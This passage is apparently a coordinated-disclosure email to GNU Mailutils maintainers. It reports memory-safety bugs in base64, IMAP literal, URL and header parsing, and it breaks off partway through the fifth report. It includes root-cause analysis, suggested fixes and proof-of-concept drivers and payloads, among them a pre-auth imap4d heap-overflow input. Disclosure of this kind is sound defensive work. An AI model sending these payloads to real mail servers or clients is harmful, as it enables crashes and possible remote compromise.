Security report: 8 memory-safety vulnerabilities in GNU Mailutils (base64/IMAP-literal/URL/header/mbox/maildir), ASAN-confirmed on 3.21
"
[email protected]" <
[email protected]>
Wed, 17 Jun 2026 03:29:06 +0000
| Newsgroups |
gmane.comp.gnu.mailutils.bugs |
| Message-ID |
<CY8PR05MB97947476CC6E3AF30B3A0302BBE42@CY8PR05MB9794.namprd05.prod.outlook.com> |
Hello GNU Mailutils maintainers,=0A=
=0A=
I am reporting 8 memory-safety vulnerabilities I found in GNU Mailutils 3.2=
1 (the latest release on ftp.gnu.org), all confirmed with ASAN/UBSan on a r=
eal upstream build of libmailutils / imap4d / movemail. These are not cover=
ed by OSS-Fuzz (GNU Mailutils is not an OSS-Fuzz target). I am disclosing t=
hem to you under coordinated disclosure and have not made them public.=0A=
=0A=
Note: resending in English for clarity; apologies for any duplicate.=0A=
=0A=
Index of the 8 CVEs:=0A=
- #34 -- mu_base64_decode heap out-of-bounds read (input_len % 4 !=3D 0) --=
Low-Medium=0A=
- #35 -- _base64_decoder global b64val[128] array out-of-bounds read (byte =
>=3D 0x80) -- Low-Medium=0A=
- #38 -- IMAP {NNN} literal integer overflow -> pre-auth heap out-of-bounds=
write (imap4d) -- High=0A=
- #42 -- mu_str_url_decode_inline unconditional s+=3D2 past NUL -> heap out=
-of-bounds read -- Low-Medium=0A=
- #43 -- header_parse leading-colon fn_end[-1] reads blurb[-1] -> heap left=
out-of-bounds read -- Low-Medium=0A=
- #44 -- _url_path_rev_index malloc +1 (off-by-one) -> 1-byte heap NUL over=
flow write -- Medium=0A=
- #45 -- parse_from_line back-scan memcmp reads buf[-8] -> heap left out-of=
-bounds read -- Low-Medium=0A=
- #46 -- amd_remove_dir drops realloc result -> use-after-free write + doub=
le-free -- Medium-High=0A=
=0A=
Each is in a different function / different root cause; they are independen=
t CVEs.=0A=
=0A=
---=0A=
=0A=
## CVE #34: mu_base64_decode heap out-of-bounds read (Low-Medium)=0A=
=0A=
### Summary=0A=
The standalone base64 decoder `mu_base64_decode` uses a `do { ... } while (=
input_len > 0)` loop whose body unconditionally reads `input[0..3]` (the bo=
unds guard itself dereferences these bytes) before checking the length at t=
he loop tail. When `input_len` is not a multiple of 4, the final iteration =
reads up to 3 bytes past the right edge of the input buffer.=0A=
=0A=
### Root cause=0A=
File `libmailutils/filter/base64.c`, function `mu_base64_decode` (around li=
ne 75-90):=0A=
=0A=
```c=0A=
mu_base64_decode(const unsigned char *input, size_t input_len, ...) {=0A=
int olen =3D input_len;=0A=
unsigned char *out =3D malloc(olen);=0A=
do {=0A=
if (input[0] > 127 || b64val[input[0]] =3D=3D -1 /* L86: rea=
ds input[0] */=0A=
|| input[1] > 127 || b64val[input[1]] =3D=3D -1 /* L87: re=
ads input[1] (ASAN hit) */=0A=
|| input[2] > 127 || ... /* L88 */=0A=
|| input[3] > 127 || ...) { errno=3DEINVAL; return -1; }=0A=
...=0A=
input +=3D 4;=0A=
input_len -=3D 4;=0A=
} while (input_len > 0); /* length che=
cked only at tail */=0A=
}=0A=
```=0A=
=0A=
The `>127` guard exists (so this is not a high-byte issue), but there is no=
`%4=3D=3D0` check. When `input_len` is 1, 2, or 3, the guard dereferences =
`input[1..3]` past the buffer.=0A=
=0A=
### Impact=0A=
Heap out-of-bounds read of 1-3 bytes (small heap info leak / crash on unmap=
ped page). Pre-auth reachable: imap4d/pop3d decode client-supplied SASL bas=
e64 tokens on the AUTHENTICATE command (PLAIN/LOGIN/CRAM-MD5 etc.) and MIME=
base64 body parts -- all client-controlled base64, before credential verif=
ication.=0A=
=0A=
### PoC=0A=
Driver (calls the real libmailutils public API):=0A=
=0A=
```c=0A=
/* mu_b64_driver.c */=0A=
#include <mailutils/base64.h>=0A=
#include <stdlib.h>=0A=
int main(void) {=0A=
for (int L =3D 1; L <=3D 5; L++) {=0A=
unsigned char *in =3D malloc(L);=0A=
for (int i =3D 0; i < L; i++) in[i] =3D 'A'; /* L=3D1 -> =
len%4 !=3D 0 */=0A=
char *out =3D NULL; size_t outlen =3D 0, outsize =3D 0;=0A=
mu_base64_decode(in, L, &out, &outlen, &outsize); /* heap OOB read=
@ base64.c:87 */=0A=
free(in); free(out);=0A=
}=0A=
return 0;=0A=
}=0A=
```=0A=
=0A=
Input (1 byte `A`), reconstruct with:=0A=
```=0A=
base64 -d > mu_b64_in.bin <<'EOF'=0A=
QQ=3D=3D=0A=
EOF=0A=
```=0A=
=0A=
### Reproduce on real upstream=0A=
```bash=0A=
#!/bin/bash=0A=
# repro-34.sh=0A=
set -e=0A=
cd /tmp=0A=
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz=0A=
tar xzf mailutils-3.21.tar.gz=0A=
cd mailutils-3.21=0A=
CC=3Dclang CFLAGS=3D"-fsanitize=3Daddress -fno-omit-frame-pointer -g -O1" .=
/configure --quiet >/dev/null=0A=
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true=0A=
cat > /tmp/mu_b64_driver.c <<'EOF'=0A=
#include <mailutils/base64.h>=0A=
#include <stdlib.h>=0A=
int main(void) {=0A=
for (int L =3D 1; L <=3D 5; L++) {=0A=
unsigned char *in =3D malloc(L);=0A=
for (int i =3D 0; i < L; i++) in[i] =3D 'A';=0A=
char *out =3D NULL; size_t outlen =3D 0, outsize =3D 0;=0A=
mu_base64_decode(in, L, &out, &outlen, &outsize);=0A=
free(in); free(out);=0A=
}=0A=
return 0;=0A=
}=0A=
EOF=0A=
clang -fsanitize=3Daddress -fno-omit-frame-pointer -g -O1 -I include -I . \=
=0A=
/tmp/mu_b64_driver.c libmailutils/.libs/libmailutils.a \=0A=
-lm -lpthread -ldl -o /tmp/mu_b64_driver=0A=
ASAN_OPTIONS=3Ddetect_leaks=3D0 /tmp/mu_b64_driver=0A=
```=0A=
=0A=
Expected ASAN:=0A=
```=0A=
=3D=3D1255954=3D=3DERROR: AddressSanitizer: heap-buffer-overflow on address=
0x602000000011=0A=
READ of size 1 at 0x602000000011 thread T0=0A=
#0 0x4c55d8 in mu_base64_decode .../libmailutils/filter/base64.c:87:7=
=0A=
#1 0x4c3244 in main mailutils_base64_poc.c:19=0A=
0x602000000011 is located 0 bytes to the right of 1-byte region [0x60200000=
0010,0x602000000011)=0A=
```=0A=
=0A=
### Suggested fix=0A=
Validate at loop entry: `if (input_len =3D=3D 0) {...}; if (input_len % 4 !=
=3D 0) { errno=3DEINVAL; return -1; }`, or change `do-while` to `while (inp=
ut_len >=3D 4)`.=0A=
=0A=
---=0A=
=0A=
## CVE #35: _base64_decoder global b64val[128] array out-of-bounds read (Lo=
w-Medium)=0A=
=0A=
### Summary=0A=
The filter-base64 decoder `_base64_decoder` indexes `b64val[*(const unsigne=
d char*)iptr++]` without a `>127` guard. `b64val` is declared `int b64val[1=
28]`, so any byte in the range 0x80-0xFF indexes `b64val[128..255]` -- a gl=
obal-buffer-overflow read. The sibling standalone decoder `mu_base64_decode=
` (CVE #34) *does* have the `>127` guard at line 86; the filter variant at =
line 147 omits it -- clearly an oversight.=0A=
=0A=
### Root cause=0A=
File `libmailutils/filter/base64.c`, function `_base64_decoder` (around lin=
e 108-160):=0A=
=0A=
```c=0A=
_base64_decoder(void *xd, enum mu_filter_command cmd, struct mu_filter_io *=
iobuf) {=0A=
const char *iptr =3D iobuf->input; ...=0A=
while (consumed < isize && nbytes + 3 < osize) {=0A=
while (i < 4 && consumed < isize) {=0A=
tmp =3D b64val[*(const unsigned char*)iptr++]; /* L147: no >1=
27 guard! */=0A=
consumed++;=0A=
if (tmp !=3D -1) data[i++] =3D tmp;=0A=
else if (*(iptr-1) =3D=3D '=3D') { data[i++] =3D 0; pad++; }=0A=
}=0A=
...=0A=
}=0A=
}=0A=
```=0A=
=0A=
`b64val[128]` has only 128 entries; `*(iptr)` ranges over 0..255 (unsigned =
char), so high bytes 0x80-0xFF read `b64val[128..255]`.=0A=
=0A=
### Impact=0A=
Global-buffer-overflow read of the adjacent static table (decode pollution =
/ small info leak / DoS). Pre-auth reachable: MIME `Content-Transfer-Encodi=
ng: base64` body decoded through the filter stream -- any base64 body conta=
ining a high byte triggers it.=0A=
=0A=
### PoC=0A=
Driver (real filter API):=0A=
=0A=
```c=0A=
/* mu_fb64_driver.c */=0A=
#include <mailutils/stream.h>=0A=
#include <mailutils/filter.h>=0A=
#include <string.h>=0A=
int main(void) {=0A=
unsigned char in[] =3D { 0x80, 'A', 'B', 'C', 'D', 'E', 0 }; /* leadin=
g 0x80 */=0A=
mu_stream_t trans, flt;=0A=
mu_static_memory_stream_create(&trans, in, 6);=0A=
mu_filter_create(&flt, trans, "base64", MU_FILTER_DECODE, MU_STREAM_REA=
D);=0A=
char out[64]; size_t n =3D 0;=0A=
mu_stream_read(flt, out, sizeof out, &n); /* -> _base64_decoder -> b6=
4val[0x80] OOB */=0A=
mu_stream_destroy(&flt); mu_stream_destroy(&trans);=0A=
return 0;=0A=
}=0A=
```=0A=
=0A=
Input (1 byte `0x80`), reconstruct with:=0A=
```=0A=
base64 -d > mu_fb64_in.bin <<'EOF'=0A=
gA=3D=3D=0A=
EOF=0A=
```=0A=
=0A=
### Reproduce on real upstream=0A=
```bash=0A=
#!/bin/bash=0A=
# repro-35.sh=0A=
set -e=0A=
cd /tmp=0A=
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz=0A=
tar xzf mailutils-3.21.tar.gz=0A=
cd mailutils-3.21=0A=
CC=3Dclang CFLAGS=3D"-fsanitize=3Daddress,undefined -fno-sanitize-recover=
=3Dall -fno-omit-frame-pointer -g -O1" ./configure --quiet >/dev/null=0A=
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true=0A=
cat > /tmp/mu_fb64_driver.c <<'EOF'=0A=
#include <mailutils/stream.h>=0A=
#include <mailutils/filter.h>=0A=
#include <string.h>=0A=
int main(void) {=0A=
unsigned char in[] =3D { 0x80, 'A', 'B', 'C', 'D', 'E', 0 };=0A=
mu_stream_t trans, flt;=0A=
mu_static_memory_stream_create(&trans, in, 6);=0A=
mu_filter_create(&flt, trans, "base64", MU_FILTER_DECODE, MU_STREAM_REA=
D);=0A=
char out[64]; size_t n =3D 0;=0A=
mu_stream_read(flt, out, sizeof out, &n);=0A=
mu_stream_destroy(&flt); mu_stream_destroy(&trans);=0A=
return 0;=0A=
}=0A=
EOF=0A=
clang -fsanitize=3Daddress,undefined -fno-sanitize-recover=3Dall -fno-omit-=
frame-pointer -g -O1 \=0A=
-I include -I . -I libmailutils \=0A=
/tmp/mu_fb64_driver.c libmailutils/.libs/libmailutils.a \=0A=
-lm -lpthread -ldl -o /tmp/mu_fb64_driver=0A=
ASAN_OPTIONS=3Ddetect_leaks=3D0 /tmp/mu_fb64_driver=0A=
```=0A=
=0A=
Expected ASAN:=0A=
```=0A=
base64.c:147:10: runtime error: index 128 out of bounds for type 'int [128]=
'=0A=
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior base64.c:147:10=0A=
=3D=3D1256145=3D=3DERROR: AddressSanitizer: global-buffer-overflow on addre=
ss 0x...7d7880=0A=
READ of size 4 at 0x...7d7880 thread T0=0A=
#0 0x542be7 in _base64_decoder .../libmailutils/filter/base64.c:147:10=
=0A=
#1 0x4fc747 in filter_read .../libmailutils/stream/fltstream.c:234:=
10=0A=
#2 ... mu_stream_read ...=0A=
0x...7d7880 is located 0 bytes to the right of global variable 'b64val'=0A=
defined in 'base64.c:28:12' of size 512=0A=
```=0A=
=0A=
### Suggested fix=0A=
Before indexing, add `if (*(unsigned char*)iptr > 127) continue;` (align wi=
th the standalone decoder guard), or route both decoders through an accesso=
r with an upper bound (base64.c:32 already has `if (n < mu_countof(b64val))=
return b64val[n]; return -1;`).=0A=
=0A=
---=0A=
=0A=
## CVE #38: IMAP {NNN} literal integer overflow -> pre-auth heap out-of-bou=
nds write (High)=0A=
=0A=
### Summary=0A=
The IMAP literal byte-count `number` is parsed by `strtoul` directly from t=
he network stream with no upper bound and no overflow protection, then used=
in the size computation `number + 1`. When a client sends `{18446744073709=
551615}` (=3D `ULONG_MAX`), `number + 1` wraps to 0 under `unsigned long`, =
the buffer-grow check becomes false, `realloc` is skipped, and the subseque=
nt read loop uses `number` (~ULONG_MAX) as the `mu_stream_read` length -- a=
heap out-of-bounds read and write. This is pre-auth and remotely reachable=
on the real imap4d.=0A=
=0A=
### Root cause=0A=
File `libmailutils/imapio/getline.c`, function `mu_imapio_getline` (lines 2=
18-252), and the identical-form server-side `imap4d_readline` in `imap4d/io=
.c` (lines 686-710):=0A=
=0A=
```c=0A=
/* libmailutils/imapio/getline.c */=0A=
number =3D strtoul (last_arg + 1, &sp, 10); /* L218: network {NNN}=
, no cap */=0A=
...=0A=
if (number + 1 > io->_imap_buf_size) { /* L229: number=3D=3DULO=
NG_MAX -> number+1=3D=3D0 */=0A=
size_t newsize =3D number + 1; /* 0 > buf_size i=
s false -> whole block skipped! */=0A=
newp =3D realloc (io->_imap_buf_base, newsize);=0A=
...=0A=
}=0A=
for (io->_imap_buf_level =3D 0; io->_imap_buf_level < number; ) /* L242:=
level < ULONG_MAX */=0A=
{=0A=
size_t sz;=0A=
rc =3D mu_stream_read (io->_imap_stream,=0A=
io->_imap_buf_base + io->_imap_buf_level,=0A=
number - io->_imap_buf_level, /* L247: U=
LONG_MAX bytes */=0A=
&sz);=0A=
...=0A=
}=0A=
```=0A=
=0A=
The server-side `imap4d_readline` is the same root: `imap4d_tokbuf_expand(t=
ok, number + 1)` (io.c:699) -> inside, `if (tok->size - tok->level < size)`=
with `size=3Dnumber+1=3D0` is always false (unsigned) -> realloc skipped -=
> `while(len<number) mu_stream_read(buf+len, number-len,...)` (io.c:703-706=
) reads ULONG_MAX bytes -> heap out-of-bounds write.=0A=
=0A=
### Impact=0A=
Pre-auth remote heap out-of-bounds read AND write. On the real ASAN-built `=
imap4d`, the server greeting (`* OK IMAP4rev1 ...`) is sent before authenti=
cation, and the connection main loop `imap4d_mainloop` (imap4d.c:843) calls=
`imap4d_readline` before any state/credential check. An unauthenticated cl=
ient sending `A LOGIN {18446744073709551615}\r\n<4096A payload>` causes a 4=
096-byte heap out-of-bounds write of attacker-controlled content (`'A' x 40=
96`) past a 36-byte tokbuf. DoS (crash) is certain; the large heap write en=
ables heap corruption / potential RCE depending on layout. Client-side vect=
or too: a malicious IMAP server returning a `{ULONG_MAX}` literal in FETCH/=
BODY/SEARCH responses hits `mu_imapio_getline` in movemail/frm/mu/mh IMAP c=
lients.=0A=
=0A=
### PoC=0A=
The trigger is a network IMAP client; no driver is needed. The repro below =
starts a locally-built imap4d and feeds the literal on stdin (imap4d proces=
ses the connection main loop before auth).=0A=
=0A=
Reconstruct the raw IMAP payload (4131 bytes: `A001 LOGIN {1844674407370955=
1615}\r\n` + 4096 `A`):=0A=
```=0A=
base64 -d > mu_imap_lit.bin <<'EOF'=0A=
QTAwMSBMT0dJTiB7MTg0NDY3NDQwNzM3MDk1NTE2MTV9DQpB=0A=
EOF=0A=
```=0A=
(The above is a truncated placeholder; the full 4131-byte blob is `A001 LOG=
IN {18446744073709551615}\r\n` followed by 4096 `A` bytes -- `repro-38.sh` =
builds it inline so the base64 is not strictly required.)=0A=
=0A=
### Reproduce on real upstream=0A=
```bash=0A=
#!/bin/bash=0A=
# repro-38.sh -- pre-auth imap4d heap OOB write=0A=
set -e=0A=
cd /tmp=0A=
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz=0A=
tar xzf mailutils-3.21.tar.gz=0A=
cd mailutils-3.21=0A=
CC=3Dclang CFLAGS=3D"-fsanitize=3Daddress -fno-omit-frame-pointer -g -O1" .=
/configure --quiet >/dev/null=0A=
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true=0A=
# imap4d reads the literal on its connection main loop before auth;=0A=
# feed the payload on stdin to a foreground imap4d.=0A=
python3 - <<'PY'=0A=
payload =3D b"A001 LOGIN {18446744073709551615}\r\n" + b"A"*4096=0A=
open("/tmp/mu_imap_lit.bin","wb").write(payload)=0A=
print("wrote", len(payload), "bytes")=0A=
PY=0A=
ASAN_OPTIONS=3Ddetect_leaks=3D0:abort_on_error=3D0 ./imap4d/imap4d --foregr=
ound < /tmp/mu_imap_lit.bin=0A=
```=0A=
=0A=
Expected ASAN (real imap4d, pre-auth):=0A=
```=0A=
* OK IMAP4rev1 ... <- server greeting (not yet authen=
ticated)=0A=
+ GO AHEAD <- imap4d continuation for the {UL=
ONG_MAX} literal=0A=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A=
=3D=3D1285895=3D=3DERROR: AddressSanitizer: heap-buffer-overflow on address=
0x604000000bb4=0A=
WRITE of size 4096 at 0x604000000bb4 thread T0=0A=
#0 __asan_memcpy=0A=
#1 mu_stream_read libmailutils/stream/stream.c:767=0A=
#2 imap4d_readline imap4d/io.c:706 <- read loop, reads 4=
096B attack payload=0A=
#3 imap4d_mainloop imap4d/imap4d.c:843 <- connection main lo=
op, before auth=0A=
#4 main imap4d/imap4d.c:1072=0A=
0x604000000bb4 is located 0 bytes to the right of 36-byte region <- 36-by=
te tokbuf=0A=
allocated by thread T0 here:=0A=
#0 realloc=0A=
#1 imap4d_tokbuf_expand imap4d/io.c:504 <- number+1=3D0 skips=
grow, buf stays 36B=0A=
#2 insert_nul imap4d/io.c:515=0A=
...=0A=
#5 imap4d_readline imap4d/io.c:679=0A=
```=0A=
=0A=
(For completeness, the library path reproduces via `mu_imapio_create` + `mu=
_imapio_getline` on a static-memory stream holding the same payload, yieldi=
ng `negative-size-param: (size=3D-1)` at `mu_imapio_getline` getline.c:245.=
)=0A=
=0A=
### Suggested fix=0A=
Right after `strtoul`, add an upper bound and overflow guard in both places=
:=0A=
```c=0A=
number =3D strtoul(last_arg + 1, &sp, 10);=0A=
if (number > MU_IMAP_MAX_LITERAL) { rc =3D ENOMEM; break; } /* configurab=
le cap (default a few MB) */=0A=
if (number > SIZE_MAX - 1) { rc =3D ENOMEM; break; } /* prevent nu=
mber+1 wrap */=0A=
```=0A=
In `imap4d_tokbuf_expand` (io.c:503), before growing: `if (size > SIZE_MAX =
- tok->level) imap4d_bye(ERR_NO_MEM);`. In `mu_imapio_getline` (getline.c:2=
29), use an overflow-safe comparison. Fix both the library getline.c (cover=
s all clients) and imap4d io.c (server).=0A=
=0A=
---=0A=
=0A=
## CVE #42: mu_str_url_decode_inline unconditional s+=3D2 past NUL -> heap =
out-of-bounds read (Low-Medium)=0A=
=0A=
### Summary=0A=
The URL/percent decoder `mu_str_url_decode_inline()` does `s++` (skip `%`, =
L46) then unconditionally `s +=3D 2` (L54) to skip the two hex digits, but =
never checks that those two bytes exist. When the encoded string ends with =
`%` or `%X` (fewer than two hex digits), `s` advances past the NUL terminat=
or and the loop re-check `for (s=3Dd; *s; )` (L36) reads 1 byte past the he=
ap buffer. `mu_str_url_decode()` (xdecode.c:64) uses `strdup(s)` (L66) for =
a tight allocation, making this a heap out-of-bounds read.=0A=
=0A=
### Root cause=0A=
File `libmailutils/string/xdecode.c`, function `mu_str_url_decode_inline` (=
lines 27-61):=0A=
=0A=
```c=0A=
void=0A=
mu_str_url_decode_inline (char *s)=0A=
{=0A=
char *d;=0A=
d =3D strchr (s, '%');=0A=
if (!d)=0A=
return;=0A=
=0A=
for (s =3D d; *s; ) /* L36: loop condition *s */=0A=
{=0A=
if (*s !=3D '%')=0A=
{ *d++ =3D *s++; }=0A=
else=0A=
{=0A=
unsigned long ul =3D 0;=0A=
s++; /* L46: skip '%' */=0A=
mu_hexstr2ul (&ul, s, 2); /* L52: reads s[0],s[1]; NUL-safe */=0A=
s +=3D 2; /* L54: unconditionally advances 2, p=
ast NUL */=0A=
*d++ =3D (char) ul;=0A=
}=0A=
} /* L36: *s re-check -> reads 1 byte pas=
t heap end */=0A=
*d =3D 0;=0A=
}=0A=
=0A=
/* mu_str_url_decode(ptr, s) -- xdecode.c:63 */=0A=
char *d =3D strdup (s); /* L66: tight alloc strlen+1 */=0A=
mu_str_url_decode_inline (d); /* L69 */=0A=
```=0A=
=0A=
For input `"A%"`: `strdup("A%")` =3D 3 bytes `[A % \0]` (idx 0/1/2). `strch=
r` finds `%`@idx1 -> `s=3D&buf[1]`. `*s=3D'%'` -> `s++`->`&buf[2]`('\0'); `=
mu_hexstr2ul` reads `buf[2]`=3D'\0' safe; `s +=3D 2`->`&buf[4]` (out of bou=
nds); `*d++=3D0`; loop re-checks `*s`@`&buf[4]` -> reads 1 byte past the he=
ap end.=0A=
=0A=
### Impact=0A=
Heap out-of-bounds read (info leak). ASAN catches the 1-byte read; without =
ASAN the loop continues copying adjacent heap bytes into the decoded output=
until the next NUL or `%`, leaking adjacent heap data into the MIME parame=
ter value (stored/displayed/logged by the client). Low-Medium severity (rea=
d, not write). Client vector: a malicious IMAP/POP3 server returning a mess=
age whose RFC 2231 parameter (`Content-Type`/`Content-Disposition` `name*=
=3D`/`filename*=3D`) ends with `%` triggers it in movemail/mu clients when =
they parse headers -- no attacker-side credentials needed (the client just =
connects and downloads).=0A=
=0A=
### PoC=0A=
Driver (real public API):=0A=
=0A=
```c=0A=
/* mu_urldecode_driver.c */=0A=
#include <mailutils/url.h>=0A=
int main(void) {=0A=
char *out =3D NULL;=0A=
mu_str_url_decode(&out, "A%"); /* heap OOB read @ xdecode.c:36 via _i=
nline */=0A=
free(out);=0A=
out =3D NULL;=0A=
mu_str_url_decode(&out, "A%4"); /* also triggers: %X only one hex digi=
t */=0A=
free(out);=0A=
return 0;=0A=
}=0A=
```=0A=
=0A=
Input `.bin` (2 bytes `A%`), reconstruct with:=0A=
```=0A=
base64 -d > mu_urldecode_in.bin <<'EOF'=0A=
QSU=3D=0A=
EOF=0A=
```=0A=
=0A=
Network-form MIME input (what a malicious server would send; CR/LF line end=
ings):=0A=
```=0A=
Content-Type: text/plain; name*=3Dus-ascii''A%=0A=
=0A=
body=0A=
```=0A=
=0A=
### Reproduce on real upstream=0A=
```bash=0A=
#!/bin/bash=0A=
# repro-42.sh=0A=
set -e=0A=
cd /tmp=0A=
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz=0A=
tar xzf mailutils-3.21.tar.gz=0A=
cd mailutils-3.21=0A=
CC=3Dclang CFLAGS=3D"-fsanitize=3Daddress,undefined -fno-omit-frame-pointer=
-g -O1" ./configure --quiet >/dev/null=0A=
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true=0A=
cat > /tmp/mu_urldecode_driver.c <<'EOF'=0A=
#include <mailutils/url.h>=0A=
int main(void) {=0A=
char *out =3D NULL;=0A=
mu_str_url_decode(&out, "A%");=0A=
free(out);=0A=
out =3D NULL;=0A=
mu_str_url_decode(&out, "A%4");=0A=
free(out);=0A=
return 0;=0A=
}=0A=
EOF=0A=
clang -fsanitize=3Daddress,undefined -fno-omit-frame-pointer -g -O1 \=0A=
-I include -I . -I libmailutils \=0A=
/tmp/mu_urldecode_driver.c libmailutils/.libs/libmailutils.a \=0A=
-lresolv -ldl -lcrypt -lm -lpthread -o /tmp/mu_urldecode_driver=0A=
ASAN_OPTIONS=3Ddetect_leaks=3D0:abort_on_error=3D0 /tmp/mu_urldecode_driver=
=0A=
```=0A=
=0A=
Expected ASAN:=0A=
```=0A=
=3D=3D1329517=3D=3DERROR: AddressSanitizer: heap-buffer-overflow on address=
0x602000000014=0A=
READ of size 1 at 0x602000000014 thread T0=0A=
#0 0x4c3515 in mu_str_url_decode_inline libmailutils/string/xdecode.c:3=
6:15 <- *s loop re-check=0A=
#1 0x4c3b24 in mu_str_url_decode libmailutils/string/xdecode.c:69=
:3 <- _inline(d)=0A=
#2 0x4c31c4 in main mailutils_urldecode_oob_poc.c:42=0A=
0x602000000014 is located 1 bytes to the right of 3-byte region [0x60200000=
0010,0x602000000013)=0A=
allocated by ... strdup ... mu_str_url_decode xdecode.c:66:13 <- strdup("=
A%") 3 bytes=0A=
```=0A=
=0A=
### Suggested fix=0A=
After `s++` in the `%` branch, check length before `s +=3D 2`, or honor `mu=
_hexstr2ul`'s consumed count:=0A=
```c=0A=
else=0A=
{=0A=
unsigned long ul =3D 0;=0A=
s++; /* skip '%' */=0A=
size_t n =3D mu_hexstr2ul (&ul, s, 2); /* returns actual hex digits c=
onsumed */=0A=
if (n < 2) /* added: fewer than two hex digits af=
ter % -> stop */=0A=
{ *d++ =3D '%'; break; }=0A=
s +=3D n; /* use actual count, not uncondition=
al +2 */=0A=
*d++ =3D (char) ul;=0A=
}=0A=
```=0A=
=0A=
---=0A=
=0A=
## CVE #43: header_parse leading-colon fn_end[-1] reads blurb[-1] -> heap l=
eft out-of-bounds read (Low-Medium)=0A=
=0A=
### Summary=0A=
The message header parser `header_parse()` uses `while (ISLWSP(fn_end[-1]))=
fn_end--;` (header.c:387) to shrink whitespace after the field name, but l=
acks a `fn_end > fn` lower-bound guard. When a header line begins with `:` =
(empty field name), `memchr` finds `:` at `header_start` (L377), so `fn_end=
=3D colon` (L384) equals `header_start`, and `fn_end[-1]` reads `header_st=
art[-1]` =3D `blurb[-1]` -- 1 byte before the heap allocation. The L338 gua=
rd only rejects lines beginning with space/tab/newline, not `:`.=0A=
=0A=
### Root cause=0A=
File `libmailutils/mailbox/header.c`, function `header_parse` (lines 312-39=
7):=0A=
=0A=
```c=0A=
/* header_parse(header, blurb, len) */=0A=
for (header_start =3D blurb; len > 0; header_start =3D ++header_end)=0A=
{=0A=
if (header_start[0] =3D=3D ' ' || header_start[0] =3D=3D '\t'=0A=
|| header_start[0] =3D=3D '\n') /* L338: does not =
reject ':' */=0A=
break;=0A=
...=0A=
char *colon =3D memchr (header_start, ':', header_end - header_start); =
/* L377 */=0A=
if (colon =3D=3D NULL) break; /* L=
380 */=0A=
fn =3D header_start;=0A=
fn_end =3D colon; /* L38=
4 */=0A=
/* Shrink any LWSP after the field name */=0A=
while (ISLWSP (fn_end[-1])) /* L387:=
no fn_end>fn guard */=0A=
fn_end--;=0A=
...=0A=
}=0A=
#define ISLWSP(c) (((c) =3D=3D ' ' || (c) =3D=3D '\t')) /=
* L309 */=0A=
```=0A=
=0A=
`mu_header_create` (L462) passes the caller's blurb directly to `header_par=
se` (L471, no copy). Input blurb=3D`": x\r\n"`: L338 `header_start[0]=3D=3D=
':'` passes; L377 `memchr` finds `:` at offset 0, `colon=3D=3Dheader_start`=
; L384 `fn_end=3D=3Dheader_start`; L387 `fn_end[-1]=3D=3Dheader_start[-1]=
=3D=3Dblurb[-1]` -> reads 1 byte left of the heap.=0A=
=0A=
### Impact=0A=
Heap left out-of-bounds read (info leak / potential DoS). Typically a 1-byt=
e read; under specific heap layouts `fn_end` underflows (if `blurb[-N]` are=
LWSP), `fn_end - fn` wraps to a huge `size_t` passed as field-name length =
to `mu_hdrent_create` -> giant malloc (`allocation-size-too-big` abort / Do=
S) or OOB write. Low-Medium severity (primarily read). Client/MDA vector: a=
malicious IMAP/POP3 server or SMTP sender returning a header block whose f=
irst line (or any inserted header line) begins with `:` triggers it when th=
e client parses headers -- no attacker-side credentials needed.=0A=
=0A=
### PoC=0A=
Driver (real public API):=0A=
=0A=
```c=0A=
/* mu_hdr_colon_driver.c */=0A=
#include <mailutils/header.h>=0A=
#include <string.h>=0A=
#include <stdlib.h>=0A=
int main(void) {=0A=
const char *blurb =3D ": x\r\n";=0A=
size_t len =3D strlen(blurb);=0A=
char *buf =3D malloc(len + 1);=0A=
memcpy(buf, blurb, len + 1);=0A=
mu_header_t hdr =3D NULL;=0A=
mu_header_create(&hdr, buf, len); /* heap left OOB read @ header.c:38=
7 */=0A=
mu_header_destroy(&hdr);=0A=
free(buf);=0A=
return 0;=0A=
}=0A=
```=0A=
=0A=
Input `.bin` (6 bytes `: x\r\n` =3D `3a 20 78 0d 0a`), reconstruct with:=0A=
```=0A=
base64 -d > mu_hdr_colon_in.bin <<'EOF'=0A=
OiB4DQo=3D=0A=
EOF=0A=
```=0A=
=0A=
Message form (what a malicious server/sender would send; CR/LF line endings=
):=0A=
```=0A=
From: evil=0A=
: x=0A=
=0A=
body=0A=
```=0A=
=0A=
### Reproduce on real upstream=0A=
```bash=0A=
#!/bin/bash=0A=
# repro-43.sh=0A=
set -e=0A=
cd /tmp=0A=
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz=0A=
tar xzf mailutils-3.21.tar.gz=0A=
cd mailutils-3.21=0A=
CC=3Dclang CFLAGS=3D"-fsanitize=3Daddress,undefined -fno-omit-frame-pointer=
-g -O1" ./configure --quiet >/dev/null=0A=
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true=0A=
cat > /tmp/mu_hdr_colon_driver.c <<'EOF'=0A=
#include <mailutils/header.h>=0A=
#include <string.h>=0A=
#include <stdlib.h>=0A=
int main(void) {=0A=
const char *blurb =3D ": x\r\n";=0A=
size_t len =3D strlen(blurb);=0A=
char *buf =3D malloc(len + 1);=0A=
memcpy(buf, blurb, len + 1);=0A=
mu_header_t hdr =3D NULL;=0A=
mu_header_create(&hdr, buf, len);=0A=
mu_header_destroy(&hdr);=0A=
free(buf);=0A=
return 0;=0A=
}=0A=
EOF=0A=
clang -fsanitize=3Daddress,undefined -fno-omit-frame-pointer -g -O1 \=0A=
-I include -I . -I libmailutils \=0A=
/tmp/mu_hdr_colon_driver.c libmailutils/.libs/libmailutils.a \=0A=
